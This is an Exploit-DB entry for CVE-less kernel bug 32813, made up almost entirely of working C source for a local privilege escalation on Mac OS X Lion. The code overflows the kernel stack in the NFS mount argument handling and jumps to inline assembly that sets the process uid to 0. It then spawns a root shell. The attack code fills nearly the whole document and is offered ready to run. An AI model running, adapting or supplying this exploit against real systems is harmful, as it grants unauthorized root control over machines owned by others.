Exploit-DB #32813
Description: Apple Mac OSX (Lion) Kernel xnu-1699.32.7 except xnu-1699.24.8 NFS Mount - Local Privilege Escalation
Type: local
Platform: osx
Date: 2014-04-11
Author: Kenzley Alphonse

Exploit:
/*
 * Apple Mac OS X Lion Kernel <=  xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
 * CVE None
 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
 *
 *
 * Notes:
 *	This exploit leverage a stack overflow vulnerability to escalate privileges.
 *	The vulnerable function nfs_convert_old_nfs_args does not verify the size 
 *	of a user-provided argument before copying it to the stack. As a result by
 *	passing a large size, a local user can overwrite the stack with arbitrary 
 *	content.
 *
 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
 * Tested on Max OS X Lion xnu-1699.32.7  (x86_64)
 *
 *   Greets to taviso, spender, joberheide
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
 
/** change these to fit your environment if needed **/
#define SSIZE		(536)
 
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
	int		version;	/* args structure version number */
	char*	addr __attribute__((aligned(8)));		/* file server address */
	int		addrlen;	/* length of address */
	int		sotype;		/* Socket type */
	int		proto;		/* and Protocol */
	char *	fh __attribute__((aligned(8)));		/* File handle to be mounted */
	int		fhsize;		/* Size, in bytes, of fh */
	int		flags;		/* flags */
	int		wsize;		/* write size in bytes */
	int		rsize;		/* read size in bytes */
	int		readdirsize;	/* readdir size in bytes */
	int		timeo;		/* initial timeout in .1 secs */
	int		retrans;	/* times to retry send */
	int		maxgrouplist;	/* Max. size of group list */
	int		readahead;	/* # of blocks to readahead */
	int		leaseterm;	/* obsolete: Term (sec) of lease */
	int		deadthresh;	/* obsolete: Retrans threshold */
	char*	hostname __attribute__((aligned(8)));	/* server's name */
	/* NFS_ARGSVERSION 3 ends here */
	int		acregmin;	/* reg file min attr cache timeout */
	int		acregmax;	/* reg file max attr cache timeout */
	int		acdirmin;	/* dir min attr cache timeout */
	int		acdirmax;	/* dir max attr cache timeout */
	/* NFS_ARGSVERSION 4 ends here */
	uint	auth;		/* security mechanism flavor */
	/* NFS_ARGSVERSION 5 ends here */
	uint	deadtimeout;	/* secs until unresponsive mount considered dead */
};
 
/** sets the uid for the current process  and safely exits from the kernel**/
static void r00t_me() {
	asm(
		// padding
		"nop; nop; nop; nop;"
 
		// task_t %rax = current_task()
		"movq	%%gs:0x00000008, %%rax;"
		"movq	0x00000348(%%rax), %%rax;"
		
		// proc %rax = get_bsdtask_info()
		"movq	0x000002d8(%%rax),%%rax;"
		
		// ucred location at proc
		"movq	0x000000d0(%%rax),%%rax;"
		
		// uid = 0
		"xorl	%%edi, %%edi;"		
		"movl	%%edi, 0x0000001c(%%rax);"
		"movl	%%edi, 0x00000020(%%rax);"
		
		// fix the stack pointer and return (EACCES)
		"movq	$13, %%rax;"
		"addq	$0x00000308,%%rsp;"
		"popq	%%rbx;"
		"popq	%%r12;"
		"popq	%%r13;"
		"popq	%%r14;"
		"popq	%%r15;"
		"popq	%%rbp;"
		"ret;"
		:::"%rax"
	);
}
 
int main(int argc, char ** argv) {
	struct user_nfs_args xdrbuf;
	char * path;
	char obuf[SSIZE];
 
 
	/** clear the arguments **/
	memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
	memset(obuf, 0x00, SSIZE);
 
	/** set up variable to get path to vulnerable code **/
	xdrbuf.version = 3;
	xdrbuf.hostname = "localhost";
	xdrbuf.addrlen = SSIZE;
	xdrbuf.addr = obuf;
	
	/** set ret address **/
	*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
	printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
		
	/** create a unique tmp name **/
	if ((path = tmpnam(NULL)) == NULL) {
		// path can be any directory which we have read/write/exec access
		// but I'd much rather create one instead of searching for one
		perror("[-] tmpnam");
		exit(EXIT_FAILURE);
	}
	
	/** make the path in tmp so that we can use it **/
	if (mkdir(path, 0660) < 0) {
		perror("[-] mkdir");
		exit(EXIT_FAILURE);
	}
	
	/** inform the user that the path was created **/
	printf("[*] created sploit path%s\n", path);
	
	/** call the vulnerable function **/
	if (mount("nfs", path, 0, &xdrbuf) < 0) {
		if (errno == EACCES) {
			puts("[+] escalating privileges...");
		} else {
			perror("[-] mount");
		}
		
	}
	
	/** clean up tmp dir **/
	if (rmdir(path) < 0) {
		perror("[-] rmdir");
	}
	
	/** check if privs are equal to root **/
	if (getuid() != 0) {
		puts("[-] priviledge escalation failed");
		exit(EXIT_FAILURE);
	}
	
	/** get root shell **/
	printf("[+] We are now uid=%i ... your welcome!\n", getuid());
	printf("[+] Dropping a shell.\n");
	execl("/bin/sh", "/bin/sh", NULL);
	return 0;
}